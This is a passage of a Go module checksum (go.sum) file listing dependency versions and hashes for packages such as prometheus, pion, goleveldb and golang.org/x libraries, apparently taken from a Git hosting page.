github.com/golang-jwt/jwt/v4 v4.5.1/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek=
|
||||
github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=
|
||||
github.com/golang/snappy v0.0.5-0.20220116011046-fa5810519dcb h1:PBC98N2aIaM3XXiurYmW7fx4GZkL8feAMVq7nEjURHk=
|
||||
github.com/golang/snappy v0.0.5-0.20220116011046-fa5810519dcb/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
|
||||
github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0=
|
||||
github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
|
||||
github.com/google/subcommands v1.2.0/go.mod h1:ZjhPrFU+Olkh9WazFPsl27BQ4UPiG37m3yTrtFlrHVk=
|
||||
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=
|
||||
github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/hashicorp/go-bexpr v0.1.10 h1:9kuI5PFotCboP3dkDYFr/wi0gg0QVbSNz5oFRpxn4uE=
|
||||
github.com/hashicorp/go-bexpr v0.1.10/go.mod h1:oxlubA2vC/gFVfX1A6JGp7ls7uCDlfJn732ehYYg+g0=
|
||||
github.com/holiman/billy v0.0.0-20240216141850-2abb0c79d3c4 h1:X4egAf/gcS1zATw6wn4Ej8vjuVGxeHdan+bRb2ebyv4=
|
||||
github.com/holiman/billy v0.0.0-20240216141850-2abb0c79d3c4/go.mod h1:5GuXa7vkL8u9FkFuWdVvfR5ix8hRB7DbOAaYULamFpc=
|
||||
github.com/holiman/bloomfilter/v2 v2.0.3 h1:73e0e/V0tCydx14a0SCYS/EWCxgwLZ18CZcZKVu0fao=
|
||||
github.com/holiman/bloomfilter/v2 v2.0.3/go.mod h1:zpoh+gs7qcpqrHr3dB55AMiJwo0iURXE7ZOP9L9hSkA=
|
||||
github.com/holiman/uint256 v1.3.2 h1:a9EgMPSC1AAaj1SZL5zIQD3WbwTuHrMGOerLjGmM/TA=
|
||||
github.com/holiman/uint256 v1.3.2/go.mod h1:EOMSn4q6Nyt9P6efbI3bueV4e1b3dGlUCXeiRV4ng7E=
|
||||
github.com/huin/goupnp v1.3.0 h1:UvLUlWDNpoUdYzb2TCn+MuTWtcjXKSza2n6CBdQ0xXc=
|
||||
github.com/huin/goupnp v1.3.0/go.mod h1:gnGPsThkYa7bFi/KWmEysQRf48l2dvR5bxr2OFckNX8=
|
||||
github.com/jackpal/go-nat-pmp v1.0.2 h1:KzKSgb7qkJvOUTqYl9/Hg/me3pWgBmERKrTGD7BdWus=
|
||||
github.com/jackpal/go-nat-pmp v1.0.2/go.mod h1:QPH045xvCAeXUZOxsnwmrtiCoxIr9eob+4orBN1SBKc=
|
||||
github.com/klauspost/compress v1.16.0 h1:iULayQNOReoYUe+1qtKOqw9CwJv3aNQu8ivo7lw1HU4=
|
||||
github.com/klauspost/compress v1.16.0/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
||||
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
|
||||
github.com/leanovate/gopter v0.2.11 h1:vRjThO1EKPb/1NsDXuDrzldR28RLkBflWYcU9CvzWu4=
|
||||
github.com/leanovate/gopter v0.2.11/go.mod h1:aK3tzZP/C+p1m3SPRE4SYZFGP7jjkuSI4f7Xvpt0S9c=
|
||||
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
|
||||
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
|
||||
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.2-0.20181231171920-c182affec369 h1:I0XW9+e1XWDxdcEniV4rQAIOPUGDq67JSCiRCgGCZLI=
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.2-0.20181231171920-c182affec369/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4=
|
||||
github.com/mitchellh/mapstructure v1.4.1 h1:CpVNEelQCZBooIPDn+AR3NpivK/TIKU8bDxdASFVQag=
|
||||
github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
|
||||
github.com/mitchellh/pointerstructure v1.2.0 h1:O+i9nHnXS3l/9Wu7r4NrEdwA2VFTicjUEN1uBnDo34A=
|
||||
github.com/mitchellh/pointerstructure v1.2.0/go.mod h1:BRAsLI5zgXmw97Lf6s25bs8ohIXc3tViBH44KcwB2g4=
|
||||
github.com/mmcloughlin/addchain v0.4.0 h1:SobOdjm2xLj1KkXN5/n0xTIWyZA2+s99UCY1iPfkHRY=
|
||||
github.com/mmcloughlin/addchain v0.4.0/go.mod h1:A86O+tHqZLMNO4w6ZZ4FlVQEadcoqkyU72HC5wJ4RlU=
|
||||
github.com/mmcloughlin/profile v0.1.1/go.mod h1:IhHD7q1ooxgwTgjxQYkACGA77oFTDdFVejUS1/tS/qU=
|
||||
github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=
|
||||
github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
|
||||
github.com/pion/dtls/v2 v2.2.7 h1:cSUBsETxepsCSFSxC3mc/aDo14qQLMSL+O6IjG28yV8=
|
||||
github.com/pion/dtls/v2 v2.2.7/go.mod h1:8WiMkebSHFD0T+dIU+UeBaoV7kDhOW5oDCzZ7WZ/F9s=
|
||||
github.com/pion/logging v0.2.2 h1:M9+AIj/+pxNsDfAT64+MAVgJO0rsyLnoJKCqf//DoeY=
|
||||
github.com/pion/logging v0.2.2/go.mod h1:k0/tDVsRCX2Mb2ZEmTqNa7CWsQPc+YYCB7Q+5pahoms=
|
||||
github.com/pion/stun/v2 v2.0.0 h1:A5+wXKLAypxQri59+tmQKVs7+l6mMM+3d+eER9ifRU0=
|
||||
github.com/pion/stun/v2 v2.0.0/go.mod h1:22qRSh08fSEttYUmJZGlriq9+03jtVmXNODgLccj8GQ=
|
||||
github.com/pion/transport/v2 v2.2.1 h1:7qYnCBlpgSJNYMbLCKuSY9KbQdBFoETvPNETv0y4N7c=
|
||||
github.com/pion/transport/v2 v2.2.1/go.mod h1:cXXWavvCnFF6McHTft3DWS9iic2Mftcz1Aq29pGcU5g=
|
||||
github.com/pion/transport/v3 v3.0.1 h1:gDTlPJwROfSfz6QfSi0ZmeCSkFcnWWiiR9ES0ouANiM=
|
||||
github.com/pion/transport/v3 v3.0.1/go.mod h1:UY7kiITrlMv7/IKgd5eTUcaahZx5oUN3l9SzK5f5xE0=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/prometheus/client_golang v1.12.0 h1:C+UIj/QWtmqY13Arb8kwMt5j34/0Z2iKamrJ+ryC0Gg=
|
||||
github.com/prometheus/client_golang v1.12.0/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY=
|
||||
github.com/prometheus/client_model v0.2.1-0.20210607210712-147c58e9608a h1:CmF68hwI0XsOQ5UwlBopMi2Ow4Pbg32akc4KIVCOm+Y=
|
||||
github.com/prometheus/client_model v0.2.1-0.20210607210712-147c58e9608a/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w=
|
||||
github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4=
|
||||
github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls=
|
||||
github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU=
|
||||
github.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA=
|
||||
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8=
|
||||
github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4=
|
||||
github.com/rs/cors v1.7.0 h1:+88SsELBHx5r+hZ8TCkggzSstaWNbDvThkVK8H6f9ik=
|
||||
github.com/rs/cors v1.7.0/go.mod h1:gFx+x8UowdsKA9AchylcLynDq+nNFfI8FkUZdN/jGCU=
|
||||
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/shirou/gopsutil v3.21.4-0.20210419000835-c7a38de76ee5+incompatible h1:Bn1aCHHRnjv4Bl16T8rcaFjYSrGrIZvpiGO6P3Q4GpU=
|
||||
github.com/shirou/gopsutil v3.21.4-0.20210419000835-c7a38de76ee5+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA=
|
||||
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
|
||||
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
|
||||
github.com/supranational/blst v0.3.13 h1:AYeSxdOMacwu7FBmpfloBz5pbFXDmJL33RuwnKtmTjk=
|
||||
github.com/supranational/blst v0.3.13/go.mod h1:jZJtfjgudtNl4en1tzwPIV3KjUnQUvG3/j+w+fVonLw=
|
||||
github.com/syndtr/goleveldb v1.0.1-0.20210819022825-2ae1ddf74ef7 h1:epCh84lMvA70Z7CTTCmYQn2CKbY8j86K7/FAIr141uY=
|
||||
github.com/syndtr/goleveldb v1.0.1-0.20210819022825-2ae1ddf74ef7/go.mod h1:q4W45IWZaF22tdD+VEXcAWRA037jwmWEB5VWYORlTpc=
|
||||
github.com/tklauser/go-sysconf v0.3.12 h1:0QaGUFOdQaIVdPgfITYzaTegZvdCjmYO52cSFAEVmqU=
|
||||
github.com/tklauser/go-sysconf v0.3.12/go.mod h1:Ho14jnntGE1fpdOqQEEaiKRpvIavV0hSfmBq8nJbHYI=
|
||||
github.com/tklauser/numcpus v0.6.1 h1:ng9scYS7az0Bk4OZLvrNXNSAO2Pxr1XXRAPyjhIx+Fk=
|
||||
github.com/tklauser/numcpus v0.6.1/go.mod h1:1XfjsgE2zo8GVw7POkMbHENHzVg3GzmoZ9fESEdAacY=
|
||||
github.com/urfave/cli/v2 v2.25.7 h1:VAzn5oq403l5pHjc4OhD54+XGO9cdKVL/7lDjF+iKUs=
|
||||
github.com/urfave/cli/v2 v2.25.7/go.mod h1:8qnjx1vcq5s2/wpsqoZFndg2CE5tNFyrTvS6SinrnYQ=
|
||||
github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673 h1:bAn7/zixMGCfxrRTfdpNzjtPYqr8smhKouy9mxVdGPU=
|
||||
github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673/go.mod h1:N3UwUGtsrSj3ccvlPHLoLsHnpR27oXr4ZE984MbSER8=
|
||||
golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
|
||||
golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
|
||||
golang.org/x/exp v0.0.0-20231110203233-9a3e6036ecaa h1:FRnLl4eNAQl8hwxVVC17teOw8kdjVDVAiFMtgUdTSRQ=
|
||||
golang.org/x/exp v0.0.0-20231110203233-9a3e6036ecaa/go.mod h1:zk2irFbV9DP96SEBUUAy67IdHUaZuSnrz1n472HUCLE=
|
||||
golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ=
|
||||
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
||||
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=
|
||||
golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
|
||||
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
|
||||
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
|
||||
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
|
||||
google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg=
|
||||
google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw=
|
||||
gopkg.in/natefinch/lumberjack.v2 v2.2.1 h1:bBRl1b0OH9s/DuPhuXpNl+VtCaJXFZ5/uEFST95x9zc=
|
||||
gopkg.in/natefinch/lumberjack.v2 v2.2.1/go.mod h1:YD8tP3GAjkrDg1eZH7EGmyESg/lsYskCTPBJVb9jqSc=
|
||||
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
rsc.io/tmplfunc v0.0.3 h1:53XFQh69AfOa8Tw0Jm7t+GV7KZhOi6jzsCzTtKbMvzU=
|
||||
rsc.io/tmplfunc v0.0.3/go.mod h1:AG3sTPzElb1Io3Yg4voV9AGZJuleGAwaVRxL9M49PhA=
|
||||
Reference in New Issue
Block a user